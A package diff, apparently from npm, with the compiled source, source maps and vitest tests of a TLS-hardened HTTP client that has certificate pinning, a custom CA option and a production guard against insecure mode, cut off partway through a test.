{"version":3,"file":"http-client.d.ts","sourceRoot":"","sources":["../src/http-client.ts"],"names":[],"mappings":"AAgBA,OAAO,KAAK,MAAM,OAAO,CAAC;AAM1B,MAAM,WAAW,iBAAiB;IAChC,QAAQ,EAAE,MAAM,CAAC;IACjB,YAAY,CAAC,EAAE,MAAM,CAAC;IACtB,uBAAuB,CAAC,EAAE,MAAM,CAAC;IACjC,gBAAgB,CAAC,EAAE,OAAO,CAAC;IAC3B,SAAS,CAAC,EAAE,MAAM,CAAC;CACpB;AAED,MAAM,WAAW,oBAAoB;IACnC,MAAM,CAAC,EAAE,MAAM,CAAC;IAChB,IAAI,EAAE,MAAM,CAAC;IACb,OAAO,CAAC,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;IACjC,IAAI,CAAC,EAAE,OAAO,CAAC;CAChB;AAED,MAAM,WAAW,mBAAmB;IAClC,UAAU,EAAE,MAAM,CAAC;IACnB,IAAI,EAAE,MAAM,CAAC;IACb,MAAM,EAAE,OAAO,CAAC;CACjB;AAQD,wBAAgB,kBAAkB,CAAC,EAAE,EAAE,MAAM,GAAG,OAAO,CAItD;AAmCD;;;;;;;GAOG;AACH,wBAAgB,iBAAiB,CAAC,OAAO,EAAE,iBAAiB,GAAG,KAAK,CAAC,KAAK,GAAG,SAAS,CAoBrF;AAED;;;GAGG;AACH,wBAAgB,aAAa,CAC3B,OAAO,EAAE,iBAAiB,EAC1B,OAAO,EAAE,oBAAoB,GAC5B,OAAO,CAAC,mBAAmB,CAAC,CA0F9B"}
|
|
@@ -0,0 +1,179 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
|
+
};
|
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
+
exports.isValidFingerprint = isValidFingerprint;
|
|
7
|
+
exports.createSecureAgent = createSecureAgent;
|
|
8
|
+
exports.secureRequest = secureRequest;
|
|
9
|
+
/**
|
|
10
|
+
* Secure HTTP client for Sentry → NeuroSec cloud communication.
|
|
11
|
+
*
|
|
12
|
+
* Enforces strict TLS validation (no rejectUnauthorized:false bypass) and
|
|
13
|
+
* supports two layers of defense-in-depth:
|
|
14
|
+
* 1. Custom CA bundle (config.neurosec.caBundle / NEUROSEC_CA_BUNDLE) for
|
|
15
|
+
* private-PKI or self-signed corporate CAs.
|
|
16
|
+
* 2. SHA-256 certificate-fingerprint pinning (config.neurosec.tlsPinSha256
|
|
17
|
+
* / NEUROSEC_TLS_PIN_SHA256) — when set, the peer certificate's SHA-256
|
|
18
|
+
* fingerprint must exactly match. Anything else aborts the connection.
|
|
19
|
+
*
|
|
20
|
+
* Insecure mode (allowInsecureTls=true) is gated on NODE_ENV !== 'production'
|
|
21
|
+
* AND requires explicit opt-in via NEUROSEC_ALLOW_INSECURE_TLS=true. It is
|
|
22
|
+
* NEVER honored in production builds and emits a warning every call.
|
|
23
|
+
*/
|
|
24
|
+
const http_1 = __importDefault(require("http"));
|
|
25
|
+
const https_1 = __importDefault(require("https"));
|
|
26
|
+
const fs_1 = __importDefault(require("fs"));
|
|
27
|
+
const url_1 = require("url");
|
|
28
|
+
const crypto_1 = require("crypto");
|
|
29
|
+
const logger_1 = require("./logger");
|
|
30
|
+
const FINGERPRINT_PATTERN = /^[A-F0-9]{2}(?::[A-F0-9]{2}){31}$/i;
|
|
31
|
+
function normalizeFingerprint(fp) {
|
|
32
|
+
return fp.replace(/[^A-Fa-f0-9]/g, '').toUpperCase();
|
|
33
|
+
}
|
|
34
|
+
function isValidFingerprint(fp) {
|
|
35
|
+
// Accept either colon-separated or plain hex; reject anything weird.
|
|
36
|
+
const cleaned = normalizeFingerprint(fp);
|
|
37
|
+
return cleaned.length === 64; // SHA-256 = 32 bytes = 64 hex chars
|
|
38
|
+
}
|
|
39
|
+
function loadCaBundle(caBundlePath) {
|
|
40
|
+
if (!caBundlePath)
|
|
41
|
+
return undefined;
|
|
42
|
+
try {
|
|
43
|
+
return fs_1.default.readFileSync(caBundlePath, 'utf8');
|
|
44
|
+
}
|
|
45
|
+
catch (err) {
|
|
46
|
+
logger_1.logger.warn('Failed to read CA bundle; falling back to system CAs', {
|
|
47
|
+
path: caBundlePath,
|
|
48
|
+
err: err.message,
|
|
49
|
+
});
|
|
50
|
+
return undefined;
|
|
51
|
+
}
|
|
52
|
+
}
|
|
53
|
+
function isProductionBuild() {
|
|
54
|
+
// Treat anything other than explicit 'development' or 'test' as production.
|
|
55
|
+
const env = (process.env.NODE_ENV ?? '').toLowerCase();
|
|
56
|
+
return env !== 'development' && env !== 'test';
|
|
57
|
+
}
|
|
58
|
+
function formatTransportError(target, err) {
|
|
59
|
+
const message = err.message || 'Request failed';
|
|
60
|
+
if (target.protocol === 'https:' && /wrong version number/i.test(message)) {
|
|
61
|
+
return new Error(`TLS handshake failed for ${target.origin}. The remote service appears to be speaking plain HTTP on an HTTPS URL. ` +
|
|
62
|
+
`Use http://${target.host} if that port is serving HTTP directly, or terminate TLS in front of it and keep the https:// URL. ` +
|
|
63
|
+
`Original error: ${message}`);
|
|
64
|
+
}
|
|
65
|
+
return err;
|
|
66
|
+
}
|
|
67
|
+
/**
|
|
68
|
+
* Build an https.Agent configured for the NeuroSec endpoint.
|
|
69
|
+
*
|
|
70
|
+
* IMPORTANT: rejectUnauthorized is ALWAYS true unless the caller explicitly
|
|
71
|
+
* sets allowInsecureTls=true AND the runtime is non-production. Production
|
|
72
|
+
* builds silently coerce this back to true so a misconfigured deploy still
|
|
73
|
+
* verifies its peer.
|
|
74
|
+
*/
|
|
75
|
+
function createSecureAgent(options) {
|
|
76
|
+
const url = new url_1.URL(options.endpoint);
|
|
77
|
+
if (url.protocol !== 'https:')
|
|
78
|
+
return undefined;
|
|
79
|
+
const ca = loadCaBundle(options.caBundlePath);
|
|
80
|
+
// Production safety: always verify, even if caller asks for insecure.
|
|
81
|
+
const insecure = !!options.allowInsecureTls && !isProductionBuild();
|
|
82
|
+
if (options.allowInsecureTls && isProductionBuild()) {
|
|
83
|
+
logger_1.logger.warn('allowInsecureTls ignored in production build', {
|
|
84
|
+
endpoint: options.endpoint,
|
|
85
|
+
});
|
|
86
|
+
}
|
|
87
|
+
return new https_1.default.Agent({
|
|
88
|
+
rejectUnauthorized: !insecure,
|
|
89
|
+
...(ca ? { ca } : {}),
|
|
90
|
+
keepAlive: true,
|
|
91
|
+
maxSockets: 16,
|
|
92
|
+
});
|
|
93
|
+
}
|
|
94
|
+
/**
|
|
95
|
+
* Perform a request against the NeuroSec endpoint with strict TLS.
|
|
96
|
+
* When `pinnedFingerprintSha256` is set, aborts on fingerprint mismatch.
|
|
97
|
+
*/
|
|
98
|
+
function secureRequest(options, request) {
|
|
99
|
+
return new Promise((resolve, reject) => {
|
|
100
|
+
const target = new url_1.URL(request.path, options.endpoint);
|
|
101
|
+
const isHttps = target.protocol === 'https:';
|
|
102
|
+
const lib = isHttps ? https_1.default : http_1.default;
|
|
103
|
+
const bodyStr = request.body === undefined || request.body === null
|
|
104
|
+
? ''
|
|
105
|
+
: typeof request.body === 'string'
|
|
106
|
+
? request.body
|
|
107
|
+
: JSON.stringify(request.body);
|
|
108
|
+
const headers = {
|
|
109
|
+
'Content-Type': 'application/json',
|
|
110
|
+
...(request.headers ?? {}),
|
|
111
|
+
};
|
|
112
|
+
if (bodyStr)
|
|
113
|
+
headers['Content-Length'] = Buffer.byteLength(bodyStr).toString();
|
|
114
|
+
const agent = isHttps ? createSecureAgent(options) : undefined;
|
|
115
|
+
const requestOpts = {
|
|
116
|
+
hostname: target.hostname,
|
|
117
|
+
port: target.port ? Number(target.port) : isHttps ? 443 : 80,
|
|
118
|
+
path: `${target.pathname}${target.search}`,
|
|
119
|
+
method: request.method ?? 'GET',
|
|
120
|
+
headers,
|
|
121
|
+
timeout: options.timeoutMs ?? 15000,
|
|
122
|
+
agent,
|
|
123
|
+
};
|
|
124
|
+
const req = lib.request(requestOpts, (res) => {
|
|
125
|
+
// Pin check on the live socket — runs after TLS handshake completes
|
|
126
|
+
// but before we trust any byte of the response.
|
|
127
|
+
if (isHttps && options.pinnedFingerprintSha256) {
|
|
128
|
+
const expected = normalizeFingerprint(options.pinnedFingerprintSha256);
|
|
129
|
+
if (!isValidFingerprint(expected)) {
|
|
130
|
+
req.destroy();
|
|
131
|
+
reject(new Error('Invalid pinned fingerprint format (expected SHA-256 hex, 64 chars)'));
|
|
132
|
+
return;
|
|
133
|
+
}
|
|
134
|
+
// Newer Node provides getPeerCertificate on the underlying socket;
|
|
135
|
+
// we compute fingerprint manually to avoid relying on `cert.fingerprint256`
|
|
136
|
+
// which can normalize colons differently across Node versions.
|
|
137
|
+
const socket = res.socket;
|
|
138
|
+
const cert = socket?.getPeerCertificate?.(true);
|
|
139
|
+
if (!cert || !cert.raw) {
|
|
140
|
+
req.destroy();
|
|
141
|
+
reject(new Error('Peer certificate unavailable; cannot verify pin'));
|
|
142
|
+
return;
|
|
143
|
+
}
|
|
144
|
+
const actual = (0, crypto_1.createHash)('sha256').update(cert.raw).digest('hex').toUpperCase();
|
|
145
|
+
if (actual !== expected) {
|
|
146
|
+
req.destroy();
|
|
147
|
+
reject(new Error(`TLS pin mismatch for ${target.hostname}: expected ${expected.slice(0, 16)}…, got ${actual.slice(0, 16)}…`));
|
|
148
|
+
return;
|
|
149
|
+
}
|
|
150
|
+
}
|
|
151
|
+
let data = '';
|
|
152
|
+
res.on('data', (chunk) => {
|
|
153
|
+
data += chunk;
|
|
154
|
+
});
|
|
155
|
+
res.on('end', () => {
|
|
156
|
+
let parsed = null;
|
|
157
|
+
try {
|
|
158
|
+
parsed = data ? JSON.parse(data) : null;
|
|
159
|
+
}
|
|
160
|
+
catch {
|
|
161
|
+
parsed = data;
|
|
162
|
+
}
|
|
163
|
+
resolve({ statusCode: res.statusCode ?? 0, body: data, parsed });
|
|
164
|
+
});
|
|
165
|
+
res.on('error', reject);
|
|
166
|
+
});
|
|
167
|
+
req.on('error', (err) => {
|
|
168
|
+
reject(formatTransportError(target, err));
|
|
169
|
+
});
|
|
170
|
+
req.on('timeout', () => {
|
|
171
|
+
req.destroy();
|
|
172
|
+
reject(new Error(`Request to ${target.href} timed out after ${options.timeoutMs ?? 15000}ms`));
|
|
173
|
+
});
|
|
174
|
+
if (bodyStr)
|
|
175
|
+
req.write(bodyStr);
|
|
176
|
+
req.end();
|
|
177
|
+
});
|
|
178
|
+
}
|
|
179
|
+
//# sourceMappingURL=http-client.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"http-client.js","sourceRoot":"","sources":["../src/http-client.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"http-client.test.d.ts","sourceRoot":"","sources":["../src/http-client.test.ts"],"names":[],"mappings":""}
|
|
@@ -0,0 +1,175 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
|
+
};
|
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
+
const vitest_1 = require("vitest");
|
|
7
|
+
const http_1 = __importDefault(require("http"));
|
|
8
|
+
const https_1 = __importDefault(require("https"));
|
|
9
|
+
const crypto_1 = require("crypto");
|
|
10
|
+
const http_client_1 = require("./http-client");
|
|
11
|
+
// --- fixture: self-signed HTTPS server using a known cert -------------------
|
|
12
|
+
function generateSelfSignedCert() {
|
|
13
|
+
const { execSync } = require('child_process');
|
|
14
|
+
const fs = require('fs');
|
|
15
|
+
const os = require('os');
|
|
16
|
+
const path = require('path');
|
|
17
|
+
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'sentry-tls-'));
|
|
18
|
+
const keyPath = path.join(dir, 'key.pem');
|
|
19
|
+
const certPath = path.join(dir, 'cert.pem');
|
|
20
|
+
try {
|
|
21
|
+
execSync(`openssl req -x509 -newkey rsa:2048 -nodes -keyout "${keyPath}" -out "${certPath}" -days 1 -subj "/CN=localhost" -addext "subjectAltName=DNS:localhost,IP:127.0.0.1"`, { stdio: 'ignore' });
|
|
22
|
+
}
|
|
23
|
+
catch {
|
|
24
|
+
return { key: '', cert: '', certPath: '', fingerprintSha256: '' };
|
|
25
|
+
}
|
|
26
|
+
const key = fs.readFileSync(keyPath, 'utf8');
|
|
27
|
+
const cert = fs.readFileSync(certPath, 'utf8');
|
|
28
|
+
const x509 = new crypto_1.X509Certificate(cert);
|
|
29
|
+
const fingerprintSha256 = (0, crypto_1.createHash)('sha256').update(x509.raw).digest('hex').toUpperCase();
|
|
30
|
+
return { key, cert, certPath, fingerprintSha256 };
|
|
31
|
+
}
|
|
32
|
+
(0, vitest_1.describe)('http-client / isValidFingerprint', () => {
|
|
33
|
+
(0, vitest_1.it)('accepts SHA-256 hex with colons', () => {
|
|
34
|
+
(0, vitest_1.expect)((0, http_client_1.isValidFingerprint)('A1:B2:C3:D4:E5:F6:07:18:29:3A:4B:5C:6D:7E:8F:90:A1:B2:C3:D4:E5:F6:07:18:29:3A:4B:5C:6D:7E:8F:90')).toBe(true);
|
|
35
|
+
});
|
|
36
|
+
(0, vitest_1.it)('accepts SHA-256 hex without colons', () => {
|
|
37
|
+
(0, vitest_1.expect)((0, http_client_1.isValidFingerprint)('a'.repeat(64))).toBe(true);
|
|
38
|
+
});
|
|
39
|
+
(0, vitest_1.it)('rejects MD5 / too-short / too-long', () => {
|
|
40
|
+
(0, vitest_1.expect)((0, http_client_1.isValidFingerprint)('a'.repeat(32))).toBe(false); // MD5 length
|
|
41
|
+
(0, vitest_1.expect)((0, http_client_1.isValidFingerprint)('a'.repeat(63))).toBe(false);
|
|
42
|
+
(0, vitest_1.expect)((0, http_client_1.isValidFingerprint)('a'.repeat(65))).toBe(false);
|
|
43
|
+
(0, vitest_1.expect)((0, http_client_1.isValidFingerprint)('not-a-hex-string-at-all-not-a-hex-string-at-all-not-a-hex-stringg')).toBe(false);
|
|
44
|
+
});
|
|
45
|
+
});
|
|
46
|
+
(0, vitest_1.describe)('http-client / createSecureAgent', () => {
|
|
47
|
+
const origEnv = process.env.NODE_ENV;
|
|
48
|
+
(0, vitest_1.afterAll)(() => { process.env.NODE_ENV = origEnv; });
|
|
49
|
+
(0, vitest_1.it)('returns undefined for http://', () => {
|
|
50
|
+
(0, vitest_1.expect)((0, http_client_1.createSecureAgent)({ endpoint: 'http://localhost' })).toBeUndefined();
|
|
51
|
+
});
|
|
52
|
+
(0, vitest_1.it)('enables rejectUnauthorized by default for https://', () => {
|
|
53
|
+
const agent = (0, http_client_1.createSecureAgent)({ endpoint: 'https://example.com' });
|
|
54
|
+
(0, vitest_1.expect)(agent).toBeTruthy();
|
|
55
|
+
(0, vitest_1.expect)(agent.options.rejectUnauthorized).toBe(true);
|
|
56
|
+
});
|
|
57
|
+
(0, vitest_1.it)('honors allowInsecureTls only outside production', () => {
|
|
58
|
+
process.env.NODE_ENV = 'test';
|
|
59
|
+
const agent = (0, http_client_1.createSecureAgent)({ endpoint: 'https://example.com', allowInsecureTls: true });
|
|
60
|
+
(0, vitest_1.expect)(agent.options.rejectUnauthorized).toBe(false);
|
|
61
|
+
});
|
|
62
|
+
(0, vitest_1.it)('coerces rejectUnauthorized to true in production even when caller asks for insecure', () => {
|
|
63
|
+
process.env.NODE_ENV = 'production';
|
|
64
|
+
const agent = (0, http_client_1.createSecureAgent)({ endpoint: 'https://example.com', allowInsecureTls: true });
|
|
65
|
+
(0, vitest_1.expect)(agent.options.rejectUnauthorized).toBe(true);
|
|
66
|
+
});
|
|
67
|
+
});
|
|
68
|
+
(0, vitest_1.describe)('http-client / secureRequest', () => {
|
|
69
|
+
let httpServer;
|
|
70
|
+
let httpsServer = null;
|
|
71
|
+
let httpPort;
|
|
72
|
+
let httpsPort;
|
|
73
|
+
let tlsFingerprint = '';
|
|
74
|
+
let tlsCertPath = '';
|
|
75
|
+
let tlsAvailable = false;
|
|
76
|
+
(0, vitest_1.beforeAll)(async () => {
|
|
77
|
+
// Plain HTTP server for non-TLS paths
|
|
78
|
+
httpServer = http_1.default.createServer((req, res) => {
|
|
79
|
+
res.writeHead(200, { 'Content-Type': 'application/json' });
|
|
80
|
+
res.end(JSON.stringify({ ok: true, path: req.url, method: req.method }));
|
|
81
|
+
});
|
|
82
|
+
await new Promise((resolve) => httpServer.listen(0, '127.0.0.1', () => resolve()));
|
|
83
|
+
httpPort = httpServer.address().port;
|
|
84
|
+
// Self-signed HTTPS server for pinning paths
|
|
85
|
+
const { key, cert, certPath, fingerprintSha256 } = generateSelfSignedCert();
|
|
86
|
+
if (key && cert) {
|
|
87
|
+
tlsAvailable = true;
|
|
88
|
+
tlsFingerprint = fingerprintSha256;
|
|
89
|
+
tlsCertPath = certPath;
|
|
90
|
+
httpsServer = https_1.default.createServer({ key, cert }, (req, res) => {
|
|
91
|
+
res.writeHead(200, { 'Content-Type': 'application/json' });
|
|
92
|
+
res.end(JSON.stringify({ ok: true, secure: true }));
|
|
93
|
+
});
|
|
94
|
+
await new Promise((resolve) => httpsServer.listen(0, '127.0.0.1', () => resolve()));
|
|
95
|
+
httpsPort = httpsServer.address().port;
|
|
96
|
+
}
|
|
97
|
+
});
|
|
98
|
+
(0, vitest_1.afterAll)(async () => {
|
|
99
|
+
await new Promise((resolve) => httpServer.close(() => resolve()));
|
|
100
|
+
if (httpsServer)
|
|
101
|
+
await new Promise((resolve) => httpsServer.close(() => resolve()));
|
|
102
|
+
});
|
|
103
|
+
(0, vitest_1.it)('reaches an http endpoint and parses JSON', async () => {
|
|
104
|
+
const r = await (0, http_client_1.secureRequest)({ endpoint: `http://127.0.0.1:${httpPort}` }, { path: '/api/v1/ping' });
|
|
105
|
+
(0, vitest_1.expect)(r.statusCode).toBe(200);
|
|
106
|
+
(0, vitest_1.expect)(r.parsed.ok).toBe(true);
|
|
107
|
+
(0, vitest_1.expect)(r.parsed.path).toBe('/api/v1/ping');
|
|
108
|
+
});
|
|
109
|
+
(0, vitest_1.it)('forwards body + headers on POST', async () => {
|
|
110
|
+
const r = await (0, http_client_1.secureRequest)({ endpoint: `http://127.0.0.1:${httpPort}` }, { method: 'POST', path: '/echo', headers: { 'X-Test': 'yes' }, body: { hello: 'world' } });
|
|
111
|
+
(0, vitest_1.expect)(r.statusCode).toBe(200);
|
|
112
|
+
(0, vitest_1.expect)(r.parsed.method).toBe('POST');
|
|
113
|
+
});
|
|
114
|
+
(0, vitest_1.it)('aborts with a timeout error past the deadline', async () => {
|
|
115
|
+
// Server that never responds
|
|
116
|
+
const slowServer = http_1.default.createServer(() => { });
|
|
117
|
+
await new Promise((resolve) => slowServer.listen(0, '127.0.0.1', () => resolve()));
|
|
118
|
+
const port = slowServer.address().port;
|
|
119
|
+
try {
|
|
120
|
+
await (0, vitest_1.expect)((0, http_client_1.secureRequest)({ endpoint: `http://127.0.0.1:${port}`, timeoutMs: 200 }, { path: '/' })).rejects.toThrow(/timed out/);
|
|
121
|
+
}
|
|
122
|
+
finally {
|
|
123
|
+
slowServer.close();
|
|
124
|
+
}
|
|
125
|
+
});
|
|
126
|
+
(0, vitest_1.it)('rejects self-signed cert when rejectUnauthorized is enabled (default)', async () => {
|
|
127
|
+
if (!tlsAvailable)
|
|
128
|
+
return;
|
|
129
|
+
